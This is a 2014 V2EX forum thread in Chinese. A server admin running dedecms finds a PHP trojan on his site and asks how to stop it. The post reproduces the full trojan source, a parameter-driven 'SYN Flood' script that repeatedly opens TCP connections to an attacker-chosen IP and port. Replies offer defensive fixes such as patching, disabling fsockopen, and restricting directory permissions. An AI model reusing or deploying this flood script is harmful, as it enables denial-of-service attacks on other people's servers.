Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
pc10201
V2EX  ›  Linux

中了php木马,怎么防范?

  •  
  •   pc10201 · Jan 20, 2014 · 4704 views
    This topic created in 4500 days ago, the information mentioned may be changed or developed.
    我在iptables加了规则禁用了php木马对外发udp数据,但现在有木马发tcp数据包,然后服务器带宽就卡死了~

    php木马如下:
    <?php
    ini_set("display_errors", "Off");
    $packets = 0;
    $ip = $_REQUEST['ip'];
    $port = $_REQUEST['port'];
    set_time_limit(0);
    ignore_user_abort(FALSE);
    $exec_time = $_REQUEST['time'];
    $time = time();
    print "状态 : 正常运行中.....<br>";
    $max_time = $time+$exec_time;
    while(1){
    $packets++;
    if(time() > $max_time){
    break;
    }

    $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);
    }
    echo "================================================<br>";
    echo " <font color=blue>www.baidu.com<br>";
    echo " SYN Flood 模块<br>";
    echo " 作者:ybhacker<br>";
    echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
    echo "================================================<br><br>";
    echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
    echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
    echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
    echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
    ?>

    如何防范,在不禁用任何php函数的情况下?
    18 replies    1970-01-01 08:00:00 +08:00
    shiny
        1
    shiny  
    PRO
       Jan 20, 2014
    又要想防范木马又要想不禁用函数,那只能补上你破程序的漏洞。其实禁用 fsockopen、ignore_user_abort也没什么的吧。
    fucker
        2
    fucker  
       Jan 20, 2014
    好屌的flood attacker
    mahone3297
        3
    mahone3297  
       Jan 20, 2014
    这个怎么攻击了?没谈看懂。。。就while 1 了下,然后++packets,最后再fsockopen,其他好像没什么东西。。。
    Actrace
        4
    Actrace  
       Jan 20, 2014   ❤️ 1
    那就禁TCP呗~
    sarices
        5
    sarices  
       Jan 20, 2014
    检查一下自己的程序漏洞,分析一下日志看看漏洞在哪里?是不是多个网站公用主机?有没有限制PHP访问路径限定在网站根目录下面,如果没有限制可能是其他网站的漏洞导致的
    Kvm
        6
    Kvm  
       Jan 20, 2014
    在php.ini里面禁用下函数
    judasnow
        7
    judasnow  
       Jan 20, 2014
    如果是 用的 apache php_mod 就删除 php cgi 可执行文件就行了。
    judasnow
        8
    judasnow  
       Jan 20, 2014
    仔细看了下 我收回我说的话。。。。
    judasnow
        9
    judasnow  
       Jan 20, 2014
    我觉得
    1 可以在 apache(或其他web服务器)上过滤请求参数 ,因为似乎他是 通过 带$ip,$port这两个参数的远程请求 触发这个脚本的。
    2 可以删除这个脚本的可执行权限。

    不过我还是困惑于 这个文件是怎么跑到你的服务器上的?
    VYSE
        10
    VYSE  
       Jan 20, 2014
    建议你还是给项目文件顶起做DIFF比较吧,然后查LOG找漏洞,都传马上去了,封函数有毛用,把他惹火了一个命令全删了。
    pc10201
        11
    pc10201  
    OP
       Jan 20, 2014
    @sarices 公司的网站,用的dedecms
    shiny
        12
    shiny  
    PRO
       Jan 20, 2014
    @pc10201 哈哈哈又见 dedecms。dede 的话你首先把补丁打上,然后把不需要的文件全部删除,然后针对不同的目录做权限设置,比如 data 目录就不能执行 php,include 目录禁止写入。
    基本就能保平安了。
    letitbesqzr
        13
    letitbesqzr  
       Jan 20, 2014
    dedecms...删后台吧,生成html传上去。
    konakona
        14
    konakona  
       Jan 20, 2014
    检测下类似的php命名文件,以及非法的jpg等图片格式的文件。
    加强服务器配置(php.ini)。

    一个专业的程序员运维做好后,基本可以不依赖硬件防火墙,最重要的是运维这关卡的好不好。
    thinkxen
        15
    thinkxen  
       Jan 20, 2014
    禁用掉fsockopen就不会发包了,不过木马者可能还会用pfsockopen来继续发包,你可以继续禁用pfsockopen。
    但是这样虽然无法发包,但是会大量占用CPU,造成系统负载升高。
    唯一彻底的方法就是别用DEDECMS,珍爱生命,远离织梦。
    xiaobu
        16
    xiaobu  
       Jan 21, 2014
    @shiny 禁用 fsockopen,如果是论坛有个邮件认证注册的功能就失效了,导致无法用户注册
    pc10201
        17
    pc10201  
    OP
       Jan 21, 2014
    @VYSE 谢谢,我通过nginx写了一些rewrite规则基本可以禁用一些简单的木马了~
    wezzard
        18
    wezzard  
       Jan 22, 2014
    楼主可以考虑起诉木马作者,估计传木马的人也是直接复制粘贴的别人的代码。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   1006 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 478ms · UTC 18:20 · PVG 02:20 · LAX 11:20 · JFK 14:20
    ♥ Do have faith in what you're doing.